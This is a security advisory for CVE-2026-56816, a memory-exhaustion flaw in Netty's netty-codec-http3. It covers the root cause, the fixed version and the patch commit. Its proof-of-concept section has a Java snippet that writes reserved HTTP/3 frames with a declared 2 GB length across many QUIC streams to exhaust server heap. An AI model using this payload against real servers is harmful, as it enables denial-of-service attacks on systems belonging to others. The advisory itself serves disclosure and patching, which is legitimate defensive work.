high · 7.5CVE-2026-56816Jul 22, 2026

CVE-2026-56816: netty-codec-http3 Memory Exhaustion via Reserved Frame Types

Rohit Hatagale
AI Security Researcher, SecureLayer7

Netty's HTTP/3 codec blindly trusts the payload length declared in reserved frame types, letting an attacker open many QUIC streams and declare multi-gigabyte frames to exhaust server memory and…

Packageio.netty:netty-codec-http3
Ecosystemmaven
Affected< 4.2.16.Final
Fixed in4.2.16.Final

The problem

In Http3FrameCodec.decodeFrame, the handler for HTTP/3 reserved frame types reads payLoadLength directly from the wire and buffers incoming bytes until that length is satisfied. No ceiling is enforced on how large that length can be.

An attacker can declare a payload length of up to Integer.MAX_VALUE (about 2 GB) and then trickle small amounts of real data across many simultaneous QUIC streams. Each stream holds a large in-memory buffer, and the cumulative effect is gradual heap exhaustion ending in an OutOfMemoryError.

Proof of concept

A working proof-of-concept for CVE-2026-56816 in io.netty:netty-codec-http3, with the exact payload below.

java
// Open a raw QUIC bidirectional stream and write a reserved HTTP/3 frame
// with a declared payload length of Integer.MAX_VALUE (0x7FFFFFFF),
// then follow with 1 MB of actual data to keep the stream alive.

ByteBuf header = Unpooled.buffer();

// Reserved frame type: 0x4040 (varint-encoded value 64)
header.writeByte(0x40);
header.writeByte(0x40);

// Payload length: Integer.MAX_VALUE encoded as 8-byte QUIC varint
// High 2 bits 0b11 signal an 8-byte variable-length integer
header.writeByte(0xC0);
header.writeByte(0x00);
header.writeByte(0x00);
header.writeByte(0x00);
header.writeByte(0x7F);
header.writeByte(0xFF);
header.writeByte(0xFF);
header.writeByte(0xFF);

rawStream.write(header);

// Send just enough data to keep the stream open and the buffer growing
ByteBuf payload = Unpooled.wrappedBuffer(new byte[1_000_000]);
rawStream.writeAndFlush(payload).sync();

// Repeat across many streams to exhaust heap

The root cause is missing input validation on payLoadLength before using it to gate the readableBytes check (CWE-400). The decoder commits to buffering all bytes up to the declared length with no configurable or hard-coded cap.

The patch (commit 5b68c61f, PR #16960) changes the reserved-frame skip path so the codec handles fragmented/chunked reads instead of accumulating the entire declared payload in one contiguous buffer, removing the implicit trust of the wire-supplied length.

Because HTTP/3 runs over QUIC/UDP, there is no TCP handshake cost, so an attacker can open the configured maximum number of bidirectional streams cheaply and let the memory pressure build gradually.

The fix

Upgrade io.netty:netty-codec-http3 to **4.2.16.Final** or later. No workaround is available in older releases short of blocking unknown frame types at a network layer. The fix is in commit 5b68c61f37aa4a3045cba624cbea239655c9003b.

Reported by skyguard1.

References: [1][2][3][4][5]

Related research